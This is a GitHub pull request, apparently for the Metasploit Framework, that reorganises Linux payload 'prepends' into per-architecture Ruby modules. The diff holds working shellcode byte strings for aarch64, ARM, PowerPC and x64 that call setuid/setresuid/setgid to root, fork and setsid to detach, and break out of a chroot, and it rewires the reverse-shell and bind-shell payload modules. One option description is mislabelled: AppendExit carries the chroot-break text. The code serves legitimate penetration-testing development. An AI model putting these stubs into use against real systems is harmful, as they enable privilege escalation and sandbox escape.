Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix Prepends in Linux Payloads #19750

Open
wants to merge 12 commits into
base: master
Choose a base branch
from
445 changes: 2 additions & 443 deletions lib/msf/core/payload/linux.rb

Large diffs are not rendered by default.

42 changes: 42 additions & 0 deletions lib/msf/core/payload/linux/aarch64/prepends.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
#
# Linux aarch64 prepends
#
module Msf::Payload::Linux::Aarch64::Prepends
include Msf::Payload::Linux::Prepends

def prepends_order
%w[PrependSetresuid PrependSetreuid PrependSetuid]
end

def appends_order
%w[]
end

def prepends_map
{
# 'PrependFork' => "",

# setuid(0)
'PrependSetuid' => "\xe0\x03\x1f\xaa" + # mov x0, xzr
"\x48\x12\x80\xd2" + # mov x8, #0x92
"\x01\x00\x00\xd4", # svc 0x0

# setreuid(0, 0)
'PrependSetreuid' => "\xe0\x03\x1f\xaa" + # mov x0, xzr
"\xe1\x03\x1f\xaa" + # mov x1, xzr
"\x28\x12\x80\xd2" + # mov x8, #0x91
"\x01\x00\x00\xd4", # svc 0x0

# setresuid(0, 0, 0)
'PrependSetresuid' => "\xe0\x03\x1f\xaa" + # mov x0, xzr
"\xe1\x03\x1f\xaa" + # mov x1, xzr
"\xe2\x03\x1f\xaa" + # mov x2, xzr
"\x68\x12\x80\xd2" + # mov x8, #0x93
"\x01\x00\x00\xd4" # svc 0x0
}
end

def appends_map
{}
end
end
37 changes: 37 additions & 0 deletions lib/msf/core/payload/linux/armle/prepends.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
#
# Linux armle prepends
#
module Msf::Payload::Linux::Armle::Prepends
include Msf::Payload::Linux::Prepends

def prepends_order
%w[PrependSetresuid PrependSetuid]
end

def appends_order
%w[]
end

def prepends_map
{
# 'PrependFork' => "",

#
# setuid(0)
'PrependSetuid' => "\x00\x00\x20\xe0" + # eor r0, r0, r0 #
"\x17\x70\xa0\xe3" + # mov r7, #23 #
"\x00\x00\x00\xef", # svc #

# setresuid(0, 0, 0)
'PrependSetresuid' => "\x00\x00\x20\xe0" + # eor r0, r0, r0 #
"\x01\x10\x21\xe0" + # eor r1, r1, r1 #
"\x02\x20\x22\xe0" + # eor r2, r2, r2 #
"\xa4\x70\xa0\xe3" + # mov r7, #0xa4 #
"\x00\x00\x00\xef" # svc #
}
end

def appends_map
{}
end
end
2 changes: 1 addition & 1 deletion lib/msf/core/payload/linux/bind_tcp.rb
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@ module Msf
module Payload::Linux::BindTcp

include Msf::Payload::TransportConfig
include Msf::Payload::Linux
include Msf::Payload::Linux::X86::Prepends
include Msf::Payload::Linux::SendUUID

#
Expand Down
75 changes: 75 additions & 0 deletions lib/msf/core/payload/linux/ppc/prepends.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,75 @@
#
# Linux ppc prepends
#
module Msf::Payload::Linux::Ppc::Prepends
include Msf::Payload::Linux::Prepends

def prepends_order
%w[PrependSetresuid PrependSetreuid PrependSetuid PrependSetresgid PrependSetregid PrependSetgid]
end

def appends_order
%w[AppendExit]
end

def prepends_map
{
# 'PrependFork' => "",

# setresuid(0, 0, 0)
'PrependSetresuid' => "\x3b\xe0\x01\xff" + # li r31,511 #
"\x7c\xa5\x2a\x78" + # xor r5,r5,r5 #
"\x7c\x84\x22\x78" + # xor r4,r4,r4 #
"\x7c\x63\x1a\x78" + # xor r3,r3,r3 #
"\x38\x1f\xfe\xa5" + # addi r0,r31,-347 #
"\x44\xff\xff\x02", # sc #

# setreuid(0, 0)
'PrependSetreuid' => "\x3b\xe0\x01\xff" + # li r31,511 #
"\x7c\x84\x22\x78" + # xor r4,r4,r4 #
"\x7c\x63\x1a\x78" + # xor r3,r3,r3 #
"\x38\x1f\xfe\x47" + # addi r0,r31,-441 #
"\x44\xff\xff\x02", # sc #

# setuid(0)
'PrependSetuid' => "\x3b\xe0\x01\xff" + # li r31,511 #
"\x7c\x63\x1a\x78" + # xor r3,r3,r3 #
"\x38\x1f\xfe\x18" + # addi r0,r31,-488 #
"\x44\xff\xff\x02", # sc #

# setresgid(0, 0, 0)
'PrependSetresgid' => "\x3b\xe0\x01\xff" + # li r31,511 #
"\x7c\xa5\x2a\x78" + # xor r5,r5,r5 #
"\x7c\x84\x22\x78" + # xor r4,r4,r4 #
"\x7c\x63\x1a\x78" + # xor r3,r3,r3 #
"\x38\x1f\xfe\xab" + # addi r0,r31,-341 #
"\x44\xff\xff\x02", # sc #

# setregid(0, 0)
'PrependSetregid' => "\x3b\xe0\x01\xff" + # li r31,511 #
"\x7c\x84\x22\x78" + # xor r4,r4,r4 #
"\x7c\x63\x1a\x78" + # xor r3,r3,r3 #
"\x38\x1f\xfe\x48" + # addi r0,r31,-440 #
"\x44\xff\xff\x02", # sc #

# setgid(0)
'PrependSetgid' => "\x3b\xe0\x01\xff" + # li r31,511 #
"\x7c\x63\x1a\x78" + # xor r3,r3,r3 #
"\x38\x1f\xfe\x2f" + # addi r0,r31,-465 #
"\x44\xff\xff\x02" # sc #

# setreuid(0, 0) = break chroot
# 'PrependChrootBreak' =>
}
end

def appends_map
{
# exit(0)
'AppendExit' => "\x3b\xe0\x01\xff" + # li r31,511 #
"\x7c\x63\x1a\x78" + # xor r3,r3,r3 #
"\x38\x1f\xfe\x02" + # addi r0,r31,-510 #
"\x44\xff\xff\x02" # sc #
}
end
end
45 changes: 45 additions & 0 deletions lib/msf/core/payload/linux/prepends.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
#
# Linux Preprends shared logic.
#
module Msf::Payload::Linux::Prepends
def initialize(info)
super(info)
register_prepend_options
end

def register_prepend_options
all_options = {
'PrependFork' => [false, 'Prepend a stub that starts the payload in its own process via fork', 'false'],
'PrependSetresuid' => [false, 'Prepend a stub that executes the setresuid(0, 0, 0) system call', 'false'],
'PrependSetreuid' => [false, 'Prepend a stub that executes the setreuid(0, 0) system call', 'false'],
'PrependSetuid' => [false, 'Prepend a stub that executes the setuid(0) system call', 'false'],
'PrependSetresgid' => [false, 'Prepend a stub that executes the setresgid(0, 0, 0) system call', 'false'],
'PrependSetregid' => [false, 'Prepend a stub that executes the setregid(0, 0) system call', 'false'],
'PrependSetgid' => [false, 'Prepend a stub that executes the setgid(0) system call', 'false'],
'PrependChrootBreak' => [false, 'Prepend a stub that will break out of a chroot (includes setreuid to root)', 'false'],
'AppendExit' => [false, 'Prepend a stub that will break out of a chroot (includes setreuid to root)', 'false']
}
avaiable_options = []
for prepend in prepends_order
avaiable_options.append(Msf::OptBool.new(prepend, all_options.fetch(prepend)))
end
for append in appends_order
avaiable_options.append(Msf::OptBool.new(append, all_options.fetch(append)))
end
register_advanced_options(avaiable_options, Msf::Payload::Linux)
end

def apply_prepends(buf)
pre = ''
app = ''
for name in prepends_order.each
pre << prepends_map.fetch(name) if datastore[name]
end
for name in appends_order.each
app << appends_map.fetch(name) if datastore[name]
end
pre.force_encoding('ASCII-8BIT') +
buf.force_encoding('ASCII-8BIT') +
app.force_encoding('ASCII-8BIT')
end
end
2 changes: 1 addition & 1 deletion lib/msf/core/payload/linux/reverse_tcp_x86.rb
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@ module Msf
module Payload::Linux::ReverseTcp_x86

include Msf::Payload::TransportConfig
include Msf::Payload::Linux
include Msf::Payload::Linux::X86::Prepends
include Msf::Payload::Linux::SendUUID

#
Expand Down
132 changes: 132 additions & 0 deletions lib/msf/core/payload/linux/x64/prepends.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,132 @@
#
# Linux x64 Prepends file
#
module Msf::Payload::Linux::X64::Prepends
include Msf::Payload::Linux::Prepends
def prepends_order
%w[PrependFork PrependSetresuid PrependSetreuid PrependSetuid]
end

def appends_order
%w[]
end

def prepends_map
{
'PrependFork' => "\x6a\x39" + # push 57 ; __NR_fork #
"\x58" + # pop rax #
"\x0f\x05" + # syscall #
"\x48\x85\xc0" + # test rax,rax #
"\x74\x08" + # jz loc_0012 #
# loc_000a: #
"\x48\x31\xff" + # xor rdi,rdi #
"\x6a\x3c" + # push 60 ; __NR_exit #
"\x58" + # pop rax #
"\x0f\x05" + # syscall #
# loc_0012: #
"\x04\x70" + # add al, 112 ; __NR_setsid #
"\x0f\x05" + # syscall #
"\x6a\x39" + # push 57 ; __NR_fork #
"\x58" + # pop rax #
"\x0f\x05" + # syscall #
"\x48\x85\xc0" + # test rax,rax #
"\x75\xea", # jnz loc_000a #

# setresuid(0, 0, 0)
'PrependSetresuid' => "\x48\x31\xff" + # xor rdi,rdi #
"\x48\x89\xfe" + # mov rsi,rdi #
"\x6a\x75" + # push 0x75 #
"\x58" + # pop rax #
"\x0f\x05", # syscall #

# setreuid(0, 0)
'PrependSetreuid' => "\x48\x31\xff" + # xor rdi,rdi #
"\x48\x89\xfe" + # mov rsi,rdi #
"\x48\x89\xf2" + # mov rdx,rsi #
"\x6a\x71" + # push 0x71 #
"\x58" + # pop rax #
"\x0f\x05", # syscall #

# setuid(0)
'PrependSetuid' => "\x48\x31\xff" + # xor rdi,rdi #
"\x6a\x69" + # push 0x69 #
"\x58" + # pop rax #
"\x0f\x05", # syscall #

# setresgid(0, 0, 0)
'PrependSetresgid' => "\x48\x31\xff" + # xor rdi,rdi #
"\x48\x89\xfe" + # mov rsi,rdi #
"\x6a\x77" + # push 0x77 #
"\x58" + # pop rax #
"\x0f\x05", # syscall #

# setregid(0, 0)
'PrependSetregid' => "\x48\x31\xff" + # xor rdi,rdi #
"\x48\x89\xfe" + # mov rsi,rdi #
"\x48\x89\xf2" + # mov rdx,rsi #
"\x6a\x72" + # push 0x72 #
"\x58" + # pop rax #
"\x0f\x05", # syscall #

# setgid(0)
'PrependSetgid' => "\x48\x31\xff" + # xor rdi,rdi #
"\x6a\x6a" + # push 0x6a #
"\x58" + # pop rax #
"\x0f\x05", # syscall #

# setreuid(0, 0) + break chroot
'PrependChrootBreak' => "\x48\x31\xff" + # xor rdi,rdi #
"\x48\x89\xfe" + # mov rsi,rdi #
"\x48\x89\xf8" + # mov rax,rdi #
"\xb0\x71" + # mov al,0x71 #
"\x0f\x05" + # syscall #
# generate temp dir name
"\x48\xbf#{Rex::Text.rand_text_alpha(8)}" + # mov rdi, <random 8 bytes alpha> #
"\x56" + # push rsi #
"\x57" + # push rdi #
# mkdir(random,0755)
"\x48\x89\xe7" + # mov rdi,rsp #
"\x66\xbe\xed\x01" + # mov si,0755 #
"\x6a\x53" + # push 0x53 #
"\x58" + # pop rax #
"\x0f\x05" + # syscall #

# chroot(random)
"\x48\x31\xd2" + # xor rdx,rdx #
"\xb2\xa1" + # mov dl,0xa1 #
"\x48\x89\xd0" + # mov rax,rdx #
"\x0f\x05" + # syscall #

# build .. (ptr in rdi )
"\x66\xbe\x2e\x2e" + # mov si,0x2e2e #
"\x56" + # push rsi #
"\x48\x89\xe7" + # mov rdi,rsp #

# loop chdir(..) 69 times
# syscall tend to modify rcx can't use loop...
"\x6a\x45" + # push 0x45 #
"\x5b" + # pop rbx #
"\x6a\x50" + # push 0x50 #
"\x58" + # pop rax #
"\x0f\x05" + # syscall #
"\xfe\xcb" + # dec bl #
"\x75\xf7" + # jnz -7 #

# chroot (.) (which should be /)
"\x6a\x2e" + # push . (0x2e) #
"\x48\x89\xe7" + # mov rdi,rsp #
"\x48\x89\xd0" + # mov rax,rdx #
"\x0f\x05"
} # syscall #
end

def appends_map
{
# exit(0)
'AppendExit' => "\x48\x31\xff" + # xor rdi,rdi #
"\x6a\x3c" + # push 0x3c #
"\x58" + # pop rax #
"\x0f\x05" # syscall #
}
end
end
Original file line number Diff line number Diff line change
Expand Up @@ -9,10 +9,10 @@ module Msf
#
###

module Payload::Linux::ReverseSctp_x64
module Payload::Linux::X64::ReverseSctp

include Msf::Payload::TransportConfig
include Msf::Payload::Linux
include Msf::Payload::Linux::X64::Prepends

#
# Generate the first stage
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -9,10 +9,10 @@ module Msf
#
###

module Payload::Linux::ReverseTcp_x64
module Payload::Linux::X64::ReverseTcp

include Msf::Payload::TransportConfig
include Msf::Payload::Linux
include Msf::Payload::Linux::X64::Prepends

#
# Generate the first stage
Expand Down
Loading
Loading